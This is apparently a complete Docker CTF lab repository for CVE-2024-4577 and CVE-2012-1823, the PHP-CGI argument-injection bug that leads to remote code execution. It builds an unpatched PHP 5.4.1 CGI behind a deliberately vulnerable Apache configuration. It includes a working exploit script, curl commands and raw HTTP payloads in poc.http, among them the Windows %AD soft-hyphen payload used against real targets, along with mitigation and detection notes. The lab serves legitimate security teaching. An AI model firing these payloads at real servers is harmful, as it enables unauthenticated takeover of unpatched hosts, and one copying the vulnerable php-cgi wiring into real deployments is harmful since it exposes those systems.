
Docker-based CTF lab demonstrating CVE-2024-4577 PHP-CGI argument injection leading to RCE. Includes vulnerable PHP 5.4.1 CGI, exploit scripts, and flag retrieval.
A self-contained, from-scratch Docker lab that demonstrates the real
argument-injection → Remote Code Execution primitive behind CVE-2024-4577.
Exploit it over http://localhost:8080, pop a shell, and read the flag from
inside the container.
This is a genuine vulnerability, not a simulated one. The container compiles an unpatched PHP 5.4.1 CGI binary and wires it behind Apache exactly the way real vulnerable hosts are configured. There is no fake "if password == flag" check anywhere — the only way to get the flag is to actually achieve code execution.
CVE-2024-4577’s signature payload uses %AD (a soft hyphen). That trick
only works on Windows, because Windows’ "Best-Fit" character encoding
converts the byte 0xAD into a real - (0x2D) PHP’s CVE-2012-1823
patch has already checked the query string. That encoding conversion is done by
— it
So a faithful, runnable-on-your-machine Linux lab reproduces the exact same
RCE primitive — php-cgi option injection through the URL → -d auto_prepend_file=php://input → code execution — using the literal -
form (which is CVE-2024-4577’s parent bug, CVE-2012-1823). The only
difference from a real Windows CVE-2024-4577 target is the %AD→-
encoding-bypass layer, which this README documents in full (see
How it works and
poc.http).
| This Linux lab | Real CVE-2024-4577 (Windows) | |
|---|---|---|
| Vulnerable component | php-cgi | php-cgi |
| RCE primitive | -d auto_prepend_file=php://input | identical |
| Delimiter in URL | literal - | %AD (best-fit → -) |
| Bypasses 2012 patch? | N/A (PHP predates the patch) | Yes, via Windows best-fit |
| Runs on Win 11 Home + Docker Desktop | ✅ | ❌ (needs Windows containers) |
If you specifically need the bit-for-bit Windows %AD reproduction, you need a
Windows-container-capable Docker host (Windows Server / Win Pro + Hyper-V) — it
will not run on Windows 11 Home. The Windows payload is included in
poc.http for reference.
CVE-2024-4577 — PHP CGI Argument Injection leading to Remote Code Execution. Discovered by DEVCORE (Orange Tsai / Angelboy), disclosed 2024-06-06.
When PHP is deployed in CGI mode (or the php-cgi.exe binary is otherwise
reachable) on Windows with certain system locales (Traditional/Simplified
Chinese, Japanese, and others), the web server passes the HTTP query string to
php-cgi as command-line arguments. An attacker can smuggle php-cgi
command-line options (-d ...) into that query string. Windows’ best-fit
codepage conversion turns the soft-hyphen byte 0xAD (%AD) into an ASCII
hyphen -, which slips past the CVE-2012-1823 hardening and lets the attacker
set arbitrary PHP INI directives — most usefully
auto_prepend_file=php://input with allow_url_include=1, which executes the
attacker-supplied request body as PHP. Result: unauthenticated remote code
execution. It was weaponized in the wild within days (e.g. TellYouThePass
ransomware).
CGI passes the query string as argv. Per RFC 3875, if a CGI request’s
query string contains no unencoded =, the server splits it on +,
URL-decodes each word, and passes the words to the CGI program as
command-line arguments. php-cgi therefore receives attacker-controlled
argv.
php-cgi parses those argv as options. Historically php-cgi would
interpret -d key=value, -T, etc. from that argv. Feeding
-d allow_url_include=1 -d auto_prepend_file=php://input makes PHP execute
the request body as code → CVE-2012-1823.
The CVE-2012-1823 fix is incomplete on Windows. The 2012 patch added a
guard in sapi/cgi/cgi_main.c: roughly "if the (raw) query string begins
with - and has no =, skip option parsing (skip_getopt)." An attacker
sending a literal - is now blocked.
Best-fit encoding defeats the guard (the 2024 bug). On Windows, PHP
converts the command line using the locale codepage with best-fit mapping
enabled. The attacker sends %AD (byte 0xAD, soft hyphen). At the
moment of the guard’s check the first byte is 0xAD, not -, so
skip_getopt is not set. Later, when PHP actually builds the argv,
Windows best-fit-maps 0xAD → -, so getopt now sees -d. The option
injection fires after the check that was supposed to stop it. That
check-then-convert ordering is the entire vulnerability.
In this Linux lab, steps 1–2 are reproduced exactly with a php-cgi that predates step 3’s patch, so the literal
-form works and demonstrates the identical RCE. Step 4 is the Windows-only layer, documented but not executed (Linux has no best-fit conversion).
Fixed in 8.3.8, 8.2.20, 8.1.29. Therefore vulnerable:
Conditions: Windows OS; PHP running as CGI or php-cgi.exe exposed
(the default XAMPP on Windows configuration is vulnerable); an affected
locale for the best-fit path. (The parent bug CVE-2012-1823 — the primitive
this lab runs — affects any OS running a pre-2012-fix php-cgi in this
configuration.)
cve-2024-4577-lab/
├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache
├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails)
├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80
├── start.sh # container entrypoint (Apache foreground)
├── exploit.sh # one-shot RCE PoC (bash + curl)
├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload)
├── app/
│ └── index.php # ordinary web page (NOT itself vulnerable)
├── config/
│ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring
│ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.)
├── flag.txt # the flag (copied to /flag.txt in the container)
└── README.md # this file
curl for exploitation (curl.exe is built into Windows 10/11; also in
Git Bash / WSL / macOS / Linux).Open a terminal in the cve-2024-4577-lab/ folder.
docker compose up --build -d
docker build command:
docker build -t cve-2024-4577-lab .
docker run command:
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
The build compiles PHP from source (~2–5 min the first time). If it fails on your machine (offline, no toolchain, museum.php.net blocked), use the fallback base image:
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab . docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
curl -s http://localhost:8080/ | head -n 20
You should see the ACME Internal Status Portal HTML, and crucially:
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>
SAPI: cgi-fcgi (i.e. served through php-cgi) confirms the vulnerable
component is in the request path. Also check logs:
docker logs cve-2024-4577-lab
The injected query string (URL-encoded so Apache sees no literal = and
therefore treats it as CGI argv):
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
which php-cgi parses as:
-d allow_url_include=1 -d auto_prepend_file=php://input
The request body becomes PHP source (read via php://input) and runs
before index.php.
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"
curl -s -H "Content-Type: text/plain" \
--data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" \
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
On Windows PowerShell, use
curl.exeexplicitly (PowerShell’scurlis an alias forInvoke-WebRequestand mangles the query string):curl.exe -s -H "Content-Type: text/plain" ` --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" ` "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
See poc.http. Paste request #1 into Burp Repeater and send.
[*] Target : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.
The uid=33(www-data) line proves arbitrary OS command execution as the
web-server user — this is real code execution, not a printed string.
The flag lives at /flag.txt inside the container — outside the web
root (/var/www/html), so it is not reachable over HTTP. The only way to
read it is to run a command via the RCE:
bash exploit.sh http://localhost:8080 "cat /flag.txt"
Flag:
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
(In a real CTF you would not be told the path — you’d run ls -la / through
the RCE to find it. Try bash exploit.sh http://localhost:8080 "ls -la /".)
# compose
docker compose down
# plain docker
docker stop cve-2024-4577-lab
docker rm cve-2024-4577-lab # only if you did NOT use --rm
# remove the image entirely
docker rmi cve-2024-4577-lab
# nuke build cache too (optional)
docker builder prune -f
Client → Apache. You send
POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
with a PHP payload in the body.
Apache routing. AddHandler application/x-httpd-php .php +
Action application/x-httpd-php /cgi-bin/php-cgi route the request to the
php-cgi binary (mod_actions + mod_cgi).
Query string → argv (the CGI rule). Apache’s mod_cgi sees the query
string has no unencoded = (we sent %3d, not =), so per RFC 3875 it
splits on +, URL-decodes each word, and passes them to php-cgi as argv:
-d, allow_url_include=1, -d, auto_prepend_file=php://input.
php-cgi parses the injected options. This php-cgi (5.4.1, pre-2012 fix)
has no skip_getopt guard, so it happily processes the -d options:
allow_url_include=1 — allow including PHP from stream wrappers.auto_prepend_file=php://input — before running the requested script,
include and execute the request body as PHP.Body executes as code. php://input is your POST body,
<?php system('id; cat /flag.txt'); die(); ?>. It runs as the Apache user
(www-data), executes the OS command, prints its output, and die()s
before index.php ever runs.
Flag exfiltration. system('cat /flag.txt') reads /flag.txt (readable
by www-data) and returns it in the HTTP response.
CGI conflates arguments with user input. The 1990s CGI convention of
turning a query string into argv was designed for <ISINDEX> search
scripts. Pointing it at an interpreter like php-cgi, whose argv are
powerful configuration switches, is a category error: user-controlled data
becomes program configuration.
-d is remote-INI-injection. php-cgi -d name=value overrides any INI
directive at runtime, overriding even a hardened php.ini. auto_prepend_file
allow_url_include + the php://input wrapper compose into
"execute the request body," i.e. RCE.CVE-2024-4577 specifically exists because the CVE-2012-1823 fix checks the
query string for a leading - before Windows performs its best-fit
encoding conversion. The attacker sends %AD (soft hyphen); it isn’t -
when the check runs, so the guard passes, but Windows later best-fit-maps
0xAD → 0x2D (-), re-introducing the - after the gate. Check-then-transform
ordering + a locale-dependent, lossy encoding = a patch bypass.
index.php,
so no amount of crawling, fuzzing, or reading the app source reveals it.if (input === flag)), so a solver can’t
reverse a comparison — the flag only appears in a process’s stdout after
real OS command execution.= as %3d, keeping - as the option delimiter, and
delivering the payload via php://input. Get any step wrong and you get the
benign ACME page, not the flag.ScriptAlias/handler mappings that expose
php-cgi.exe; block requests where the query string starts with an encoded
soft hyphen; deny %AD in the query string at the WAF.%AD, auto_prepend_file,
allow_url_include, or php://input.Everything below is the complete source of each file, so this single document is fully self-contained.
Dockerfile# =============================================================================
# CVE-2024-4577 LAB — PHP-CGI argument injection -> Remote Code Execution
# Linux reproduction of the argument-injection primitive that CVE-2024-4577
# revives on Windows. (See README.md, section "Linux vs. Windows".)
#
# Strategy: compile the *unpatched* PHP 5.4.1 CGI SAPI from source. 5.4.1
# predates the CVE-2012-1823 fix, so php-cgi accepts command-line options
# (-d ...) supplied through the HTTP query string. Apache hands the query
# string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->
# auto_prepend_file=php://input -> RCE. This is the exact primitive that
# CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.
# =============================================================================
FROM debian:bullseye
ENV DEBIAN_FRONTEND=noninteractive
ENV PHP_VERSION=5.4.1
# ---- 1. Build toolchain + Apache -------------------------------------------
RUN set -eux; \
apt-get update; \
apt-get install -y --no-install-recommends \
ca-certificates wget bzip2 xz-utils \
build-essential pkg-config autoconf \
libxml2-dev \
apache2; \
rm -rf /var/lib/apt/lists/*
# ---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------
# CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks
# linking of old PHP's tentative-definition globals.
# touch <files> : keep the tarball's PRE-GENERATED parser/scanner files
# newer than their .y/.l sources so `make` never invokes
# bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).
RUN set -eux; \
cd /usr/src; \
( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz" \
|| wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" ); \
tar -xf php.tar; \
cd "php-${PHP_VERSION}"; \
for f in \
Zend/zend_language_parser.c Zend/zend_language_parser.h \
Zend/zend_language_scanner.c \
Zend/zend_ini_parser.c Zend/zend_ini_parser.h \
Zend/zend_ini_scanner.c \
ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c \
ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do \
if [ -f "$f" ]; then touch "$f"; fi; \
done; \
CFLAGS="-O2 -fcommon" ./configure \
--enable-cgi \
--disable-all \
--without-pear; \
make -j"$(nproc)"; \
make install; \
cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi; \
chmod 0755 /usr/lib/cgi-bin/php-cgi; \
/usr/local/bin/php-cgi -v; \
cd /; rm -rf /usr/src/php*
# ---- 3. PHP + Apache configuration -----------------------------------------
COPY config/php.ini /usr/local/lib/php.ini
COPY config/apache-vhost.conf /etc/apache2/sites-available/000-default.conf
RUN set -eux; \
a2dismod mpm_event mpm_worker || true; \
a2enmod mpm_prefork cgi actions alias; \
printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf; \
a2enconf servername
# ---- 4. Application + flag ---------------------------------------------------
COPY app/index.php /var/www/html/index.php
COPY flag.txt /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php
# ---- 5. Launch ---------------------------------------------------------------
COPY start.sh /start.sh
# Strip any CR (in case the file was saved with Windows CRLF endings) and make
# it executable, so the entrypoint runs regardless of how it was checked out.
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]
Dockerfile.vulhub# =============================================================================
# FALLBACK Dockerfile — use ONLY if the from-source build in ./Dockerfile
# fails on your machine (e.g. no build toolchain, offline, museum.php.net
# unreachable).
#
# It bases on Vulhub's pre-compiled PHP 5.4.1 CGI image, which already wires
# Apache + php-cgi in the same vulnerable way, then drops in our app + flag.
#
# To use it:
# docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .
# docker run --rm -p 8080:80 cve-2024-4577-lab
# or edit docker-compose.yml: dockerfile: Dockerfile.vulhub
#
# NOTE: this pulls a third-party base image, so it is less "from scratch"
# than ./Dockerfile. The exploit and README steps are identical.
# =============================================================================
FROM vulhub/php:5.4.1-cgi
COPY app/index.php /var/www/html/index.php
COPY flag.txt /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php
EXPOSE 80
docker-compose.yml# docker-compose.yml — CVE-2024-4577 lab
# Run with: docker compose up --build
services:
web:
build:
context: .
dockerfile: Dockerfile # <- swap to Dockerfile.vulhub if the source build fails
image: cve-2024-4577-lab:latest
container_name: cve-2024-4577-lab
ports:
- "8080:80" # host 8080 -> container 80
restart: unless-stopped
config/apache-vhost.conf<VirtualHost *:80>
ServerName localhost
DocumentRoot /var/www/html
# ---------------------------------------------------------------------
# Expose the (vulnerable) php-cgi binary as a CGI script.
# ---------------------------------------------------------------------
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Require all granted
</Directory>
# ---------------------------------------------------------------------
# Route every *.php request through php-cgi via mod_actions.
#
# THE BUG: Per the CGI spec, when a query string contains no unencoded
# '=' , Apache splits it on '+' and passes the words to the CGI program
# as command-line arguments (argv). Because this php-cgi (5.4.1) predates
# the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
# attacker can inject -d <ini>=<value> straight from the URL.
# ---------------------------------------------------------------------
<Directory /var/www/html>
Options +ExecCGI FollowSymLinks
AddHandler application/x-httpd-php .php
Action application/x-httpd-php /cgi-bin/php-cgi
DirectoryIndex index.php
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
config/php.ini; ---------------------------------------------------------------------------
; Minimal php.ini for the CVE-2024-4577 / CVE-2012-1823 lab.
; Read by php-cgi from PHP_CONFIG_FILE_PATH (/usr/local/lib) at startup.
; ---------------------------------------------------------------------------
; php-cgi refuses to run under a web server unless force_redirect is satisfied.
; Turning it off keeps the CGI SAPI happy behind Apache's Action handler.
cgi.force_redirect = 0
cgi.fix_pathinfo = 1
display_errors = On
display_startup_errors = On
log_errors = On
; Realistic defaults. Note allow_url_include is OFF here on purpose — the
; exploit RE-ENABLES it at runtime through the injected -d allow_url_include=1
; option, which is the whole point of the argument-injection primitive.
allow_url_fopen = On
allow_url_include = Off
short_open_tag = On
start.sh#!/bin/bash
# ---------------------------------------------------------------------------
# Container entrypoint: start Apache (with the vulnerable php-cgi) in the
# foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e
# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars
mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"
echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="
exec apache2 -D FOREGROUND
exploit.sh#!/usr/bin/env bash
# ===========================================================================
# exploit.sh - CVE-2024-4577 / CVE-2012-1823 php-cgi argument-injection RCE
#
# Usage: ./exploit.sh [target_url] [shell_command]
#
# Examples:
# ./exploit.sh
# ./exploit.sh http://localhost:8080
# ./exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"
#
# Requires bash + curl (curl.exe ships with Windows 10/11; also Git Bash,
# WSL, macOS, Linux).
# ===========================================================================
set -euo pipefail
TARGET="${1:-http://localhost:8080}"
CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"
# Injected php-cgi command-line options, URL-encoded so Apache treats the
# query string as CGI argv (it must contain NO literal '=' -> we send %3d):
# -d allow_url_include=1 enable including php:// streams
# -d auto_prepend_file=php://input run the request body as PHP first
QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'
# PHP payload delivered in the request body and read back via php://input.
# die() stops execution before index.php's HTML so the output stays clean.
BODY="<?php echo '[+] RCE as '.trim(shell_exec('id -un')).' on '.php_uname('n').\"\\n\"; system(\"${CMD}\"); die(); ?>"
echo "[*] Target : ${TARGET}/index.php"
echo "[*] Injection : ?${QUERY}"
echo "[*] Command : ${CMD}"
echo "[*] Firing argument-injection request..."
echo "-----------------------------------------------------------------"
curl -sS \
-H 'Content-Type: text/plain' \
--data-binary "${BODY}" \
"${TARGET}/index.php?${QUERY}"
echo
echo "-----------------------------------------------------------------"
echo "[*] Success if you see FLAG{...} above."
app/index.php<?php
// ---------------------------------------------------------------------------
// index.php — an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>ACME Internal Status Portal</title>
<style>
body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
.ok{color:#2a7f2a;font-weight:bold}
</style>
</head>
<body>
<h1>ACME Internal Status Portal</h1>
<p>Service status: <span class="ok">ONLINE</span></p>
<ul>
<li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
<li>PHP version: <code><?php echo phpversion(); ?></code></li>
<li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
<li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
</ul>
<p>Everything looks fine here. Nothing to see. 😊</p>
</body>
</html>
poc.http###############################################################################
# Raw HTTP PoC requests. Paste into Burp Repeater, or replay with any client.
# (Content-Length is recalculated automatically by Burp/Repeater.)
###############################################################################
### 1) LINUX LAB PAYLOAD — works against this container.
### PHP 5.4.1 is pre-CVE-2012-1823-fix, so a LITERAL '-' is accepted.
POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: localhost:8080
Content-Type: text/plain
Content-Length: 44
Connection: close
<?php system("id; cat /flag.txt"); die(); ?>
### 2) REAL-WORLD CVE-2024-4577 PAYLOAD — WINDOWS TARGETS ONLY.
### 0xAD (soft hyphen, %AD) is best-fit-converted to '-' by Windows AFTER the
### CVE-2012-1823 patch's check runs, so it BYPASSES the fix. This does NOT
### trigger on the Linux container (Linux has no best-fit conversion).
POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: victim-windows
Content-Type: text/plain
Content-Length: 30
Connection: close
<?php system("whoami"); die(); ?>
flag.txtFLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
sapi/cgi/cgi_main.c).For authorized security education / CTF use only.